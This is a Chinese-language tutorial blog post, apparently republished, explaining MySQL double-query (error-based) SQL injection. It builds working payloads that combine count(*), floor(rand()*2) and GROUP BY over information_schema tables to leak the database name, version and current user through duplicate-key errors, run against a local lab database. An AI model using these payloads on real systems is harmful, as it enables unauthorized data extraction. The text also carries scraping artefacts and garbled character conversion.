詳細講解雙查詢注入

上一篇文章中,http://leaver.me/archives/2726.htmlhtml

我說雙查詢很難講清楚,此次就試着講一下。讀了一些原理性的東西。而後儘可能通俗的給你們講清楚。。mysql

在此以前,咱們理解一會兒查詢,查詢的關鍵字是select,這個你們都知道。子查詢能夠簡單的理解在一個select語句裏還有一個select。裏面的這個select語句就是子查詢。sql

看一個簡單的例子:數據庫

Select concat((select database()));

真正執行的時候,先從子查詢進行。所以執行select database() 這個語句就會把當前的數據庫查出來,而後把結果傳入到concat函數。這個函數是用來鏈接的。好比 concat(‘a’,’b’)那結果就是ab了。服務器

原理:ide

雙注入查詢須要理解四個函數/語句
1. Rand() //隨機函數
2. Floor() //取整函數
3. Count() //彙總函數
4. Group by clause //分組語句函數

簡單的一句話原理就是有研究人員發現,當在一個聚合函數,好比count函數後面若是使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。測試

以本地一個名爲Security的數據庫爲例
首先在bt5下的命令行下輸入spa

mysql -u root –p toor

就會鏈接上數據庫了。
而後經過use security; 就能夠切換到security數據庫了。由於一個服務器上可能有多個數據庫嘛。
33517_o.png命令行

而後咱們執行一下前面那個簡單的子查詢的例子

SELECT concat((select database()));

就能顯示security,也就是顯示了當前數據庫的名字了。
而後咱們測試一下concat的用法。輸入

SELECT concat('string1','string2');

顯然結果就是string1string2了

33518_o.png
而後咱們測試一下rand()這個隨機函數是幹嗎的

Select rand();

咱們多執行幾回
33519_o.png
能夠看到,這個函數就是返回大於0,小於1之間的數
而後看看取整函數

Select floor(1.1123456);

33520_o.png
這個函數就是返回小於等於你輸入的數的整數。

而後咱們看看雙注入查詢中的一個簡單組合。你們從個人上一篇文章中應該也看到了有一個子查詢是

SELECT floor(rand()*2);

咱們從裏向外看。rand() 返回大於0小於1的小數,乘以2以後就成了小於0小於2了。而後對結果進行取證。就只能是0或1了。也就是這個查詢的結果不是1,就是0
咱們稍微加大一點難度。看這個查詢

SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));

不要怕。先看最裏面的SELECT database() 這個就返回數據庫名,這裏就是security了。而後FLOOR(RAND()*2)這個上面說過了。不是0,就是1.而後把這兩個的結果進行concat鏈接,那麼結果不是security0就是security1了。

33521_o.png
若是咱們把這條語句後面加上from 一個表名。那麼通常會返回security0或security1的一個集合。數目是由表自己有幾條結果決定的。好比一個管理表裏有5個管理員。這個就會返回五條記錄,這裏users表裏有13個用戶,因此返回了13條
33522_o.png
若是是從information_schema.schemata裏,這個表裏包含了mysql的全部數據庫名。這裏本機有三個數據庫。因此會返回三個結果

33523_o.png

如今咱們準備加上Group By 語句了。
咱們使用information_schema.tables 或 information_schema.columns者兩個表來查詢。由於表裏面通常數據不少。容易生成不少的隨機值,不至於所有是security0,這樣就不能查詢出結果了。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

這裏我先解釋一下。咱們把concat((select database()), floor(rand()*2)) 這個結果取了一個別名 a ,而後使用他進行分組。這樣相同的security0分到一組,security1分到一組。就剩下兩個結果了。
33524_o.png

注意。這裏的database()能夠替換成任何你想查的函數,好比version(), user(), datadir()或者其餘的查詢。好比查表啊。查列啊。原理都是同樣的。

最後的亮點來了。。
咱們輸入這條:注意多了一個聚合函數count(*)

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

33525_o.png

報錯了

ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’

重複的鍵值 能夠看到security就是咱們的查詢結果了
想要查詢版本就這樣:

select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;

看看替換了database()爲version()
33527_o.png
再看一個

select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;

報錯

ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'

這裏的~這個符號只是爲了讓結果更清晰。

這裏還有一個比較複雜的。叫作派生表。須要使用
select 1 from (table name); 這樣的語法來報錯,具體就是

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

來報錯。

你們能夠對照我上一篇文章來看。相信講的還算清楚。

原文地址:詳細講解雙查詢注入, 感謝原做者分享。

相關文章
相關標籤/搜索